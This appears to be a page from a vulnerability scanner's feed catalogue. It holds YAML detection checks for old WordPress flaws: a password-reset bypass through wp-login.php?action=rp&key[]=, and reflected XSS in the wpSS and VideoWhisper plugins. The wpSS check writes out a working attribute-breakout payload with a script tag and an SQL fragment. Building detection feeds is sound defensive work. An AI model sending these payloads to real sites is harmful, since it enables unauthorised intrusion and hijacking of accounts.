        description: "The site runs a WordPress release from 2.5.1 to 2.8.3 and serves the wp-login.php password-reset form. These releases accept an array as the key parameter of the reset action (wp-login.php?action=rp&key[]=), which bypasses the empty-key check: an unauthenticated attacker can reset the password of the first user with no pending reset request, usually the administrator, and lock the account owner out. Detected from the version only; the reset request was not sent."
        remediation: "Upgrade WordPress to 2.8.4 or later (current releases are recommended: 2.8.x has many other known vulnerabilities)."
        confidence_delta: 0.45
        qod: 70
        evidence: "{{hit}}; wp-login.php?action=lostpassword serves the password-reset form"
      stop: true

WordPress Spreadsheet (wpSS) ss_handler.php ss_id Cross-Site Scripting

CVECVE-2014-8364
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2014-8364.yaml

The WordPress Spreadsheet (wpSS) plugin 0.62 prints the ss_id parameter of its unauthenticated wp-content/plugins/wpSS/ss_handler.php script unescaped inside the action attribute of the page's form, allowing reflected cross-site scripting.

This check sends an ss_id that closes the attribute and adds a script tag carrying a random marker, under the web root and the usual /wordpress, /blog and /wp install paths, and confirms the flaw when the page returns that exact attribute breakout. The value starts with a short SQL fragment that only keeps the plugin from creating a blank spreadsheet for the unknown ss_id, so the check writes nothing unless PHP magic_quotes_gpc is on (one blank spreadsheet may then be added, as for any unknown ss_id).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/wp-content/plugins/wpSS/ss_handler.php?ss_id={{mk.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 75: WordPress Spreadsheet (wpSS) ss_handler.php ss_id Cross-Site Scripting (CVE-2014-8364)

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-8364.yaml
# WordPress Spreadsheet (wpSS) 0.62 — ss_handler.php 'ss_id' reflected XSS — CVE-2014-8364
#
# wp-content/plugins/wpSS/ss_handler.php (no WordPress authentication) copies
# $_GET['ss_id'] into $id and ss_load($id) ends with SS_footer.php, which prints it
# raw inside a double-quoted attribute:
#     <form name="ss_handler" method="POST"
#           action="ss_handler.php?ss_id=<?PHP echo "$id&display=$plain&edit=$editpage"; ?>">
# A '"' in ss_id closes the attribute and the rest is injected HTML.
#
# Detection (QoD 75): ss_id = -1/*' UNION SELECT 1,2,3,4#*/"/><script>alert(/<random>/)</script>
# and the reply must carry the exact attribute breakout right after
# "ss_handler.php?ss_id=" (also the magic_quotes_gpc form, \' and \"):
#     ss_handler.php?ss_id=-1/*' UNION SELECT 1,2,3,4#*/"/><script>alert(/<random>/)</script>
# The leading "-1/*' UNION SELECT 1,2,3,4#*/" only keeps the plugin's first query
# (WHERE id='$id') returning a row, so the script does not insert a blank
# spreadsheet (ss_new()) as a plain probe would; the second query just fails.
# A random marker instead of a fixed alert(document.cookie) keeps pages that
# always print that string from being reported.
#
# Better than the source NASL: random marker, exact attribute-breakout check,
# no blank row written, and tries the web root, /wordpress, /blog and /wp.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_wordpress_spreadsheet_mult_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804872, GPL-2.0-only).
uid: 84066bce-8abe-480f-be27-024cde1f6025
name: "WordPress Spreadsheet (wpSS) ss_handler.php ss_id Cross-Site Scripting (CVE-2014-8364)"
description: |
  The WordPress Spreadsheet (wpSS) plugin 0.62 prints the ss_id parameter of its
  unauthenticated wp-content/plugins/wpSS/ss_handler.php script unescaped inside
  the action attribute of the page's form, allowing reflected cross-site scripting.

  This check sends an ss_id that closes the attribute and adds a script tag
  carrying a random marker, under the web root and the usual /wordpress, /blog
  and /wp install paths, and confirms the flaw when the page returns that exact
  attribute breakout. The value starts with a short SQL fragment that only keeps
  the plugin from creating a blank spreadsheet for the unknown ss_id, so the
  check writes nothing unless PHP magic_quotes_gpc is on (one blank
  spreadsheet may then be added, as for any unknown ss_id).
cves: [CVE-2014-8364]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [wordpress, wordpress-plugin, wpss, spreadsheet, xss, reflected-xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8364"
  - "http://www.securityfocus.com/bid/69089"
  # OpenVAS/Greenbone NASL 2014/gb_wordpress_spreadsheet_mult_xss_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random marker, expected reflections and the encoded ss_id ─────────────
  - id: gen-marker
    action: script
    code: |
      let tok = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      let tag = "/><script>alert(/" + tok + "/)</script>";
      #{ tok: tok,
         plain: "ss_handler.php?ss_id=-1/*' UNION SELECT 1,2,3,4#*/\"" + tag,
         slashed: "ss_handler.php?ss_id=-1/*\\' UNION SELECT 1,2,3,4#*/\\\"" + tag,
         q: "-1/*%27%20UNION%20SELECT%201,2,3,4%23*/%22/%3E%3Cscript%3Ealert(/" + tok + "/)%3C/script%3E" }
    store_as: mk

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate WordPress base path (loop group) ────────────────────────
  - id: init-resp
    action: set_var
    var_name: xss_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/wordpress", "/blog", "/wp"]

  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/wp-content/plugins/wpSS/ss_handler.php?ss_id={{mk.q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: xss_resp

  - id: check-reflection
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(xss_resp.body) == "string" { xss_resp.body } else { "" };
      if body.contains(mk.plain) || body.contains(mk.slashed) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "WordPress Spreadsheet (wpSS) ss_handler.php ss_id Cross-Site Scripting (CVE-2014-8364)"
        description: "An unauthenticated request to wp-content/plugins/wpSS/ss_handler.php with an ss_id that closes an HTML attribute and adds a script tag carrying a random marker came back with that markup unescaped in the page's form action: an attacker can run script in a victim's browser in the site's origin through a crafted link."
        remediation: "Remove the WordPress Spreadsheet (wpSS) plugin: no fixed release was published. Block direct requests to wp-content/plugins/wpSS/ until it is removed."
        confidence_delta: 0.50
        qod: 75
        evidence: "install dir {{hit_dir}}: wp-content/plugins/wpSS/ss_handler.php?ss_id=...\"/><script>alert(/{{mk.tok}}/)</script> was reflected unescaped after action=\"ss_handler.php?ss_id="
      stop: true

WordPress VideoWhisper Live Streaming < 4.29.5 channel.php / lb_logout.php reflected XSS

CVECVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2014-1905.yaml

Tests the VideoWhisper Live Streaming Integration plugin for WordPress (before 4.29.5) for the unauthenticated reflected XSS in ls/channel.php (n) and ls/lb_logout.php (message), CVE-2014-1906. Sends an inert per-run HTML tag and confirms it is reflected unescaped in the vulnerable markup. The same release fixes the unrestricted snapshot upload (CVE-2014-1905), the rtmp_login/logout traversals (CVE-2014-1907) and the path disclosure (CVE-2014-1908), which are reported with it.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=…
  3. Parses / computes the next value with a Rhai script
  4. Checks chan.banner for Video Whisper Live Streaming → finding QoD 75: Reflected XSS confirmed — GET …/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=</title><noctis…> closed the pa…
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?…
  6. Parses / computes the next value with a Rhai script
  7. Checks bye.banner for Chat session ended → finding QoD 75: Reflected XSS confirmed — GET …/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=<noctis…> echoed the in…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-1905.yaml
# WordPress VideoWhisper Live Streaming Integration < 4.29.5 — multiple vulnerabilities
# (CVE-2014-1905 upload RCE, CVE-2014-1906 XSS, CVE-2014-1907 traversal, CVE-2014-1908 path disclosure)
#
# The plugin's standalone scripts under ls/ echo request parameters raw. This feed
# proves the reflected XSS (CVE-2014-1906) on two of them, unauthenticated:
#   - ls/channel.php?n=   — echoed as `<title><?=$n?> Live Video Streaming</title>`
#                           (the sink the OpenVAS NASL tests);
#   - ls/lb_logout.php?message= — echoed as `<h1><?=$_GET[message]?></h1>`.
# All four CVEs are fixed by the same release (4.29.5: sanV() on every parameter,
# lb_logout.php removed), so like the NASL the feed reports the four IDs together.
#
# Detection (QoD 75 — response analysis, benign proof):
#   A per-run token is minted (rand_hex) and an INERT tag `<noctis<tok>>` is sent.
#   The host is vulnerable when the tag comes back with its angle brackets intact
#   in the exact vulnerable context: right after `<title></title>` together with the
#   NASL's ">Video Whisper Live Streaming<" anchor (channel.php), or inside `<h1>`
#   followed by "Chat session ended" (lb_logout.php). Nothing is executed: the tag
#   has no attribute or handler, and both scripts are read-only.
#
# Better than the NASL (gb_wordpress_videowhisper_mult_vuln.nasl):
#   - per-run random marker instead of the static alert(document.cookie) string, so
#     a cached page quoting the public PoC cannot produce a finding;
#   - no dependency on a prior WordPress detection: tries the web root, /wordpress
#     and /blog;
#   - a second sink (lb_logout.php), so a site whose admin replaced the demo
#     channel.php ("Edit channel.php to change this") is still caught;
#   - the reflection must sit in the vulnerable markup, not merely anywhere in the
#     page (a 404 page echoing the URL does not carry the anchors).
# Not probed: the CVE-2014-1907 traversal in rtmp_login.php only resolves once the
# plugin has created uploads/_sessions, and its rtmp_logout.php twin deletes files.
#
# Severity: NVD v2 scores are 10.0 (1905, upload RCE), 4.3 (1906, XSS), 6.4 (1907),
# 5.0 (1908). Only the XSS is proven here, so cvss/severity follow CVE-2014-1906.
#
# Encoded payload in the query → verbatim HTTP/1.0 via tcp_connect, matched on
# resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_wordpress_videowhisper_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.804530, GPL-2.0-only).
uid: 27a114e4-f840-4a86-a904-bf2023590cba
name: "WordPress VideoWhisper Live Streaming < 4.29.5 channel.php / lb_logout.php reflected XSS (CVE-2014-1906)"
description: |
  Tests the VideoWhisper Live Streaming Integration plugin for WordPress (before
  4.29.5) for the unauthenticated reflected XSS in ls/channel.php (n) and
  ls/lb_logout.php (message), CVE-2014-1906. Sends an inert per-run HTML tag and
  confirms it is reflected unescaped in the vulnerable markup. The same release
  fixes the unrestricted snapshot upload (CVE-2014-1905), the rtmp_login/logout
  traversals (CVE-2014-1907) and the path disclosure (CVE-2014-1908), which are
  reported with it.
cves: [CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908]
cvss: 4.3
severity: medium
confidence_base: 0.30
category: xss
tags: [wordpress, wordpress-plugin, videowhisper, xss, reflected-xss, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1905"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1906"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1907"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1908"
  - "OpenVAS/Greenbone NASL 2014/gb_wordpress_videowhisper_mult_vuln.nasl (GPL-2.0-only)"

steps:
  # Per-run token: rand_hex(12) => 24 lowercase hex chars.
  - id: mint-token
    action: script
    code: 'rand_hex(12)'
    store_as: tok

  # ── Loop group: every step below runs once per candidate WordPress base ──
  # Pre-initialise both stored results so a refused connection never leaves
  # them undefined for the verify scripts (which would abort the test).
  - id: init-chan
    action: set_var
    var_name: chan
    var_value: {connected: false, banner: null}
    loop:
      over: ["", "/wordpress", "/blog"]
      var: base

  - id: init-bye
    action: set_var
    var_name: bye
    var_value: {connected: false, banner: null}

  # NASL sink: channel.php?n=</title><script>…  — here an inert tag instead.
  - id: channel-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=%3C%2Ftitle%3E%3Cnoctis{{tok}}%3E HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: text/html,*/*\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: chan

  # The tag closes the <title> and lands raw right after it, and the page is the
  # plugin's channel page (the NASL extra_check). A sanitised build drops '<', '>'
  # and '/' from n, and no longer echoes it in the title.
  - id: channel-verify
    action: script
    code: |
      let b = chan.banner;
      if type_of(b) != "string" { false }
      else {
        stridx(b, "<title></title><noctis" + tok + "> Live Video Streaming</title>") >= 0
          && stridx(b, ">Video Whisper Live Streaming<") >= 0
      }
    store_as: chan_hit

  - id: channel-match
    action: match
    source: chan.banner
    pattern: "Video Whisper Live Streaming"
    condition: "chan_hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Reflected XSS confirmed — GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=</title><noctis{{tok}}> closed the page title and echoed the inert tag unescaped: <title></title><noctis{{tok}}> Live Video Streaming</title>"

  # Second sink: lb_logout.php?message= (removed in 4.29.5). The script reads the
  # unquoted $_GET[message]: on PHP >= 7.2 with display_errors a warning lands inside
  # the <h1>, and PHP 8 dies before echoing, so this branch can miss there (never a
  # false positive) — channel.php still covers those hosts.
  - id: logout-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cnoctis{{tok}}%3E HTTP/1.0\r\nHost: {{target_host}}\r\nAccept: text/html,*/*\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: bye

  - id: logout-verify
    action: script
    code: |
      let b = bye.banner;
      if type_of(b) != "string" { false }
      else { stridx(b, "<h1><noctis" + tok + "></h1>Chat session ended") >= 0 }
    store_as: bye_hit

  - id: logout-match
    action: match
    source: bye.banner
    pattern: "Chat session ended"
    condition: "bye_hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Reflected XSS confirmed — GET {{base}}/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=<noctis{{tok}}> echoed the inert tag unescaped: <h1><noctis{{tok}}></h1>Chat session ended"

View these feeds on GitHub